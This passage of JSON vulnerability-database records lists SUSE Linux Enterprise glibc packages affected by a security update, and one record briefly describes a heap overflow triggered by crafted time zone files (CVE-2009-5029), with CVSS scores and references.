"glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-locale-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i686", "packageFilename": "glibc-2.11.1-0.34.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-info-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-profile-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-profile-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-profile-32bit-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "nscd-2.11.1-0.34.1.ppc64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.1-0.34.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-locale-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-locale-32bit-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-html-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "nscd-2.11.1-0.34.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-32bit-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ppc64", "packageFilename": "glibc-html-2.11.1-0.34.1.ppc64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "s390x", "packageFilename": "glibc-2.11.1-0.34.1.s390x.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-2.11.1-0.34.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "ia64", "packageFilename": "glibc-locale-x86-2.11.1-0.34.1.ia64.rpm", "packageName": "glibc-locale-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "nscd-2.11.1-0.34.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "i586", "packageFilename": "glibc-html-2.11.1-0.34.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.34.1", "arch": "x86_64", "packageFilename": "glibc-2.11.1-0.34.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}], "description": "The following bug has been fixed:\n\n * Specially crafted time zone files could cause a heap\n overflow in glibc.\n", "edition": 1, "reporter": "Suse", "published": "2012-01-05T12:25:46", "title": "Security update for glibc (important)", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "suse", "bulletinFamily": "unix", "cvelist": ["CVE-2009-5029"], "modified": "2012-01-05T12:25:46", "id": "SUSE-SU-2012:0033-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2012-01/msg00032.html", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2016-09-04T11:46:38", "references": ["http://download.novell.com/patch/finder/?keywords=aba5a35b05cac6339a45d9264306d85b", "https://bugzilla.novell.com/661460", "https://bugzilla.novell.com/735850"], "affectedPackage": [{"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.i686.rpm", "arch": "i686", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext", "packageFilename": "glibc-dceext-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-info", "packageFilename": "glibc-info-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-i18ndata", "packageFilename": "glibc-i18ndata-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel-32bit", "packageFilename": "glibc-devel-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-i18ndata", "packageFilename": "glibc-i18ndata-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-x86", "packageFilename": "glibc-x86-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "nscd", "packageFilename": "nscd-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-32bit", "packageFilename": "glibc-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-i18ndata", "packageFilename": "glibc-i18ndata-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale", "packageFilename": "glibc-locale-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext-32bit", "packageFilename": "glibc-dceext-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "nscd", "packageFilename": "nscd-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-info", "packageFilename": "glibc-info-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile-32bit", "packageFilename": "glibc-profile-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel-32bit", "packageFilename": "glibc-devel-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-info", "packageFilename": "glibc-info-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-i18ndata", "packageFilename": "glibc-i18ndata-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "nscd", "packageFilename": "nscd-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale", "packageFilename": "glibc-locale-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale-32bit", "packageFilename": "glibc-locale-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale", "packageFilename": "glibc-locale-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile-x86", "packageFilename": "glibc-profile-x86-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel-32bit", "packageFilename": "glibc-devel-32bit-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext-x86", "packageFilename": "glibc-dceext-x86-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-32bit", "packageFilename": "glibc-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext", "packageFilename": "glibc-dceext-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.i686.rpm", "arch": "i686", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-info", "packageFilename": "glibc-info-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale-32bit", "packageFilename": "glibc-locale-32bit-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "nscd", "packageFilename": "nscd-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "nscd", "packageFilename": "nscd-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-64bit", "packageFilename": "glibc-64bit-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale-32bit", "packageFilename": "glibc-locale-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.i686.rpm", "arch": "i686", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile-32bit", "packageFilename": "glibc-profile-32bit-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-i18ndata", "packageFilename": "glibc-i18ndata-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile-64bit", "packageFilename": "glibc-profile-64bit-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext-32bit", "packageFilename": "glibc-dceext-32bit-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-info", "packageFilename": "glibc-info-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale-64bit", "packageFilename": "glibc-locale-64bit-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "nscd", "packageFilename": "nscd-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile", "packageFilename": "glibc-profile-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext", "packageFilename": "glibc-dceext-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-i18ndata", "packageFilename": "glibc-i18ndata-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale", "packageFilename": "glibc-locale-2.4-31.97.1.ppc.rpm", "arch": "ppc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc", "packageFilename": "glibc-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext", "packageFilename": "glibc-dceext-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.x86_64.rpm", "arch": "x86_64", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-html", "packageFilename": "glibc-html-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale", "packageFilename": "glibc-locale-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-dceext", "packageFilename": "glibc-dceext-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "nscd", "packageFilename": "nscd-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile-x86", "packageFilename": "glibc-profile-x86-2.4-31.97.1.ia64.rpm", "arch": "ia64", "operator": "lt"}, {"OS": "SLE SDK", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile-32bit", "packageFilename": "glibc-profile-32bit-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-devel", "packageFilename": "glibc-devel-2.4-31.97.1.i686.rpm", "arch": "i686", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-profile-32bit", "packageFilename": "glibc-profile-32bit-2.4-31.97.1.s390x.rpm", "arch": "s390x", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale", "packageFilename": "glibc-locale-2.4-31.97.1.i586.rpm", "arch": "i586", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.4", "packageVersion": "2.4-31.97.1", "packageName": "glibc-locale-x86", "packageFilename": 